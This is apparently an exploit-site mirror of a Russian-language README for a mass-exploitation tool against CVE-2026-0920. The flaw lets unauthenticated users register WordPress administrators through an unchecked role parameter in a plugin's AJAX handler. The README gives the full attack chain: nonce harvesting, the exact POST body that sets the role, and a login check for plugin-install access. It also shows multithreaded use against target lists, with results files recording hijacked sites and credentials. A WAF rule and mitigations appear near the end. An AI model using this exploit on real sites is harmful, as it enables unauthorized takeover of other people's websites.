Sploitus

Exploit for CVE-2026-0920-

kitploit · 2026-09-03

Exploit Code

MARKDOWN379 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NXPLOITED-CVE-2026-0920-
# CVE-2026-0920-

LA-Studio Element Kit for Elementor <= 1.5.6.3 - Неавторизованное повышение привилегий через бэкдор для создания учётной записи администратора через параметр lakit_bkrole

root@kitploit:~
    
    
       _____   _____   ___ __ ___  __      __  ___ ___ __  
      / __\ \ / / __|_|_  )  \_  )/ / ___ /  \/ _ \_  )  \ 
     | (__ \ V /| _|___/ / / () / // _ \___| () \_, // / () |
      \___| \_/ |___| /___\__/___\___/    \__/ /_//___\__/ 
    

  


![Telegram](https://img.shields.io/badge/Telegram-KNxploited-2CA5E0?style=for-the-badge&logo=telegram&logoColor=white) ![CVE](https://img.shields.io/badge/CVE-2026--0920-critical?style=for-the-badge&logo=cve&logoColor=white&color=CC0000) ![CVSS](https://img.shields.io/badge/CVSS-9.8%20CRITICAL-red?style=for-the-badge) ![Python](https://img.shields.io/badge/Python-3.8+-blue?style=for-the-badge&logo=python&logoColor=white) ![License](https://img.shields.io/badge/License-Educational%20Only-yellow?style=for-the-badge)

  


> 📡 **Эксплойт выходит здесь первым.** Подписывайтесь на **@KNxploited** в Telegram — ваш элитный канал со свежераскрытыми CVE, рабочими PoC и точными security-исследованиями. Обновляется неустанно. Создан для тех, кто идёт впереди.

* * *

## 🧠 Обзор

**CVE-2026-0920** — это критическая уязвимость с оценкой **CVSS 9.8** , обнаруженная в WordPress-плагине **LA-Studio Element Kit for Elementor**.

Недочёт находится в функции `ajax_register_handle()`, которая обрабатывает неавторизованную регистрацию пользователей через AJAX. Функция не накладывает никаких ограничений на параметр `lakit_bkrole` — что позволяет полностью неавторизованному атакующему **самостоятельно назначить себе роль`administrator`** при регистрации, получая **полный контроль над административной панелью WordPress** одним запросом.

* * *

## 💀 Глубокий разбор уязвимости

Корневая причина — отсутствие проверки прав на роли внутри AJAX-обработчика регистрации плагина:

root@kitploit:~
    
    
    // Registered with no authentication requirement
    add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']);
    
    public function ajax_register_handle() {
        $actions = json_decode(stripslashes($_POST['actions']), true);
    
        foreach ($actions as $req) {
            if ($req['action'] === 'register') {
                $data = $req['data'];
    
                $user_data = [
                    'user_login' => $data['username'],
                    'user_pass'  => $data['password'],
                    'user_email' => $data['email'],
                    'role'       => $data['lakit_bkrole'], // ← ATTACKER CONTROLLED
                ];
    
                // No validation of $data['lakit_bkrole'] against allowed roles
                wp_insert_user($user_data); // Administrator created silently
            }
        }
    }
    

**Почему это критично:**

  * `wp_ajax_nopriv_*` = доступно **кому угодно без какой-либо аутентификации**
  * `lakit_bkrole` принимает любую строку роли WordPress — включая `administrator`
  * Один POST-запрос создаёт полностью привилегированную учётную запись администратора
  * Требуемый nonce открыто раскрывается в HTML/JS фронтенда сайта
  * Нет ограничения частоты запросов, нет CAPTCHA по умолчанию, не требуется подтверждение email



* * *

## ⚔️ Цепочка эксплойта

root@kitploit:~
    
    
    Step 1 — Nonce Harvesting
    ──────────────────────────────────────────────────────────────────────
    GET / (or /index.php, /home, /?page_id=1)
    
    Search HTML/JS for:
      "ajaxNonce": "<value>"         ← Inline JSON config
      ajaxNonce: '<value>'           ← JS variable
      data-ajaxnonce="<value>"       ← HTML attribute
    
    Nonce is publicly accessible — no login required.
      ↓
    ajaxNonce extracted ✔️
    
    ──────────────────────────────────────────────────────────────────────
    Step 2 — Admin Account Registration
    ──────────────────────────────────────────────────────────────────────
    POST /wp-admin/admin-ajax.php
    
      action  = lakit_ajax
      _nonce  = <extracted nonce>
      actions = {
        "req1": {
          "action": "register",
          "data": {
            "email":                  "some-email@example.com",
            "password":               "adminSA",
            "username":               "Nx_admin",
            "lakit_field_log":        "yes",   ← use supplied username
            "lakit_field_pwd":        "yes",   ← use supplied password
            "lakit_field_cpwd":       "no",    ← skip password confirm
            "lakit_bkrole":           "1",     ← trigger admin role injection
            "lakit_recaptcha_response": ""
          }
        }
      }
      ↓
    Administrator account silently created ✔️
    
    ──────────────────────────────────────────────────────────────────────
    Step 3 — Full Admin Verification
    ──────────────────────────────────────────────────────────────────────
    POST /wp-login.php
      log = Nx_admin
      pwd = adminSA
      ↓
    Session cookies obtained → GET /wp-admin/plugin-install.php
      ↓
    Plugin install page accessible = CONFIRMED FULL ADMIN ✔️
    

* * *

## ⚙️ Требования

root@kitploit:~
    
    
    pip install requests colorama
    

Зависимость| Назначение  
---|---  
`requests`| HTTP-запросы, управление сессиями и cookie  
`colorama`  
  
> Рекомендуется Python **3.10+** (используются аннотации объединённых типов `str | None`).

* * *

## 📂 Структура файлов

root@kitploit:~
    
    
    CVE-2026-0920/
    ├── CVE-2026-0920.py          # Main exploit script
    ├── list.txt                  # Target URLs — one per line
    ├── success_results.txt       # Auto-generated: pwned targets + credentials
    

* * *

## 🚀 Использование

### Шаг 1 — Настройка учётных данных _(необязательно)_

Откройте `CVE-2026-0920.py` и отредактируйте константы в начале файла, чтобы задать желаемые данные учётной записи администратора:

root@kitploit:~
    
    
    ADMIN_EMAIL    = "some-email@example.com"   # Email for the new admin account
    ADMIN_PASSWORD = "adminSA"                 # Password for the new admin account
    ADMIN_USERNAME = "Nx_admin"               # Username for the new admin account
    

* * *

### Шаг 2 — Подготовка целей

Создайте файл `list.txt` с одним URL-адресом цели на строку:

root@kitploit:~
    
    
    https://target1.com
    https://target2.com
    http://target3.com
    

> К URL-адресам без схемы автоматически добавляется префикс `https://`.

* * *

### Шаг 3 — Запуск эксплойта

root@kitploit:~
    
    
    python CVE-2026-0920.py
    

Вам будет предложено ввести:

root@kitploit:~
    
    
    Enter targets list filename (e.g. list.txt): list.txt
    Enter number of threads (1-50):             20
    

* * *

### Шаг 4 — Наблюдение за выводом в реальном времени

Скрипт выдаёт цветной вывод в терминале в реальном времени:

root@kitploit:~
    
    
    [14:22:01] [*] https://target.com - Starting target
    [14:22:02] [+] https://target.com - kay: a4f9c2b1e3
    [14:22:03] [*] https://target.com - AJAX HTTP status: 200
    [14:22:04] [+] https://target.com - AJAX response indicates success
    [14:22:05] [*] https://target.com - Full admin verification: OK
    
    ============================================================
    [ SUCCESS BLOCK ]
    Site        : https://target.com
    Result      : SUCCESS
    AJAX OK     : YES
    FULL ADMIN  : YES (login + plugin install access)
    ============================================================
      
  
* * *

### Шаг 5 — Просмотр результатов

Успешные эксплойты записываются в файл `success_results.txt`:

root@kitploit:~
    
    
    https://victim.com | USERNAME:Nx_admin | EMAIL:some-email@example.com | PASSWORD:adminSA | LOGIN:FULL_ADMIN_OK | RESP_SUCCESS:YES | NONCE:a4f9c2b1e3
    

Каждая строка содержит полную картину: цель, учётные данные, статус входа, статус AJAX-ответа и использованный nonce.

* * *

## 🖥️ Справочник параметров скрипта

* * *

## 🔬 Логика проверки

Скрипт выполняет **двухэтапную проверку** , чтобы исключить ложные срабатывания:

root@kitploit:~
    
    
    Stage 1 — AJAX Response Analysis
      Checks for success markers in the JSON response:
        • "created successfully"
        • "success":true
        • "type":"success"
        • "status":"success"
    
    Stage 2 — Real Login + Plugin Install Access Test
      1. POST /wp-login.php with injected credentials
      2. GET /wp-admin/plugin-install.php
      3. Confirm 200 response + plugin upload form present
      4. Confirm no redirect back to wp-login.php
    
    Only BOTH stages passing = TRUE SUCCESS reported
    

Это исключает ложные срабатывания, вызванные сайтами, которые возвращают `200 OK` на AJAX-запросы, но молча отвергают регистрацию.

* * *

## 📊 Сигнатура обнаружения

Эксплойт генерирует следующий характерный сетевой паттерн — для защитников и авторов WAF:

root@kitploit:~
    
    
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=lakit_ajax&_nonce=<VALUE>&actions={"req1":{"action":"register","data":{...,"lakit_bkrole":"1",...}}}
    

**Правило WAF / IDS (псевдокод):**

root@kitploit:~
    
    
    IF  request.method == POST
    AND request.path   == "/wp-admin/admin-ajax.php"
    AND request.body   CONTAINS "lakit_ajax"
    AND request.body   CONTAINS "lakit_bkrole"
    THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2026-0920)
    

* * *

## 🛡️ Смягчение и устранение уязвимости

Если вы **владелец сайта, разработчик или защитник** , действуйте немедленно:

  * ✅ **Обновите** LA-Studio Element Kit for Elementor до версии **выше 1.5.6.3**
  * ✅ **Деактивируйте и удалите** плагин, пока не будет установлена подтверждённая исправленная версия
  * ✅ **Проведите аудит** всех учётных записей администраторов WordPress — немедленно удалите любые нераспознанные записи
  * ✅ **Обеспечьте** серверную проверку ролей — никогда не доверяйте значениям ролей, предоставленным пользователем, без проверки по белому списку
  * ✅ **Заблокируйте** на уровне WAF неавторизованные POST-запросы к `admin-ajax.php`, содержащие `lakit_bkrole`
  * ✅ **Отслеживайте** журналы активности сервера и WordPress на предмет вызовов AJAX-действия `lakit_ajax`
  * ✅ **Включите** двухфакторную аутентификацию для всех существующих учётных записей администраторов в качестве меры сдерживания
  * ✅ **Изучите** бюллетень Wordfence и примените все рекомендованные меры по усилению безопасности



* * *

## ⚠️ Отказ от ответственности

root@kitploit:~
    
    
    THIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
    TESTING, AND SECURITY RESEARCH PURPOSES ONLY.
    
    By downloading, executing, or modifying this script, you explicitly agree:
    
      • You hold EXPLICIT, WRITTEN authorization from the owner of every
        target system you test. No exceptions. No grey areas.
    
      • You are operating within a formally scoped, authorized penetration
        testing engagement or a controlled lab environment.
    
      • You will NOT use this tool against any system, network, or
        infrastructure without documented legal permission.
    
      • Nxploited and all contributors bear ZERO liability for unauthorized
        use, data loss, system damage, legal proceedings, or criminal
        prosecution arising from the use of this tool.
    
    Unauthorized use of this exploit constitutes a criminal offense under:
      — Computer Fraud and Abuse Act (CFAA), USA
      — Computer Misuse Act (CMA), UK
      — EU Directive 2013/40/EU on Attacks Against Information Systems
      — Saudi Arabia's Anti-Cyber Crime Law (No. M/17)
      — And all equivalent national and international cybercrime legislation.
    
    USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.
    

* * *

## 👤 Автор

|   
---|---  
**Псевдоним**|  Nxploited  
**Telegram**| @KNxploited  
**GitHub**| github.com/Nxploited  
  
  


> 🔔 **Подписывайтесь на@KNxploited в Telegram** Свежие CVE. Рабочие эксплойты. Глубокие исследования уязвимостей. Узнавайте первыми. Действуйте первыми. Не будьте последними.

* * *

Создано с точностью **Nxploited** · Только для авторизованных исследований в области безопасности · CVSS 9.8 Critical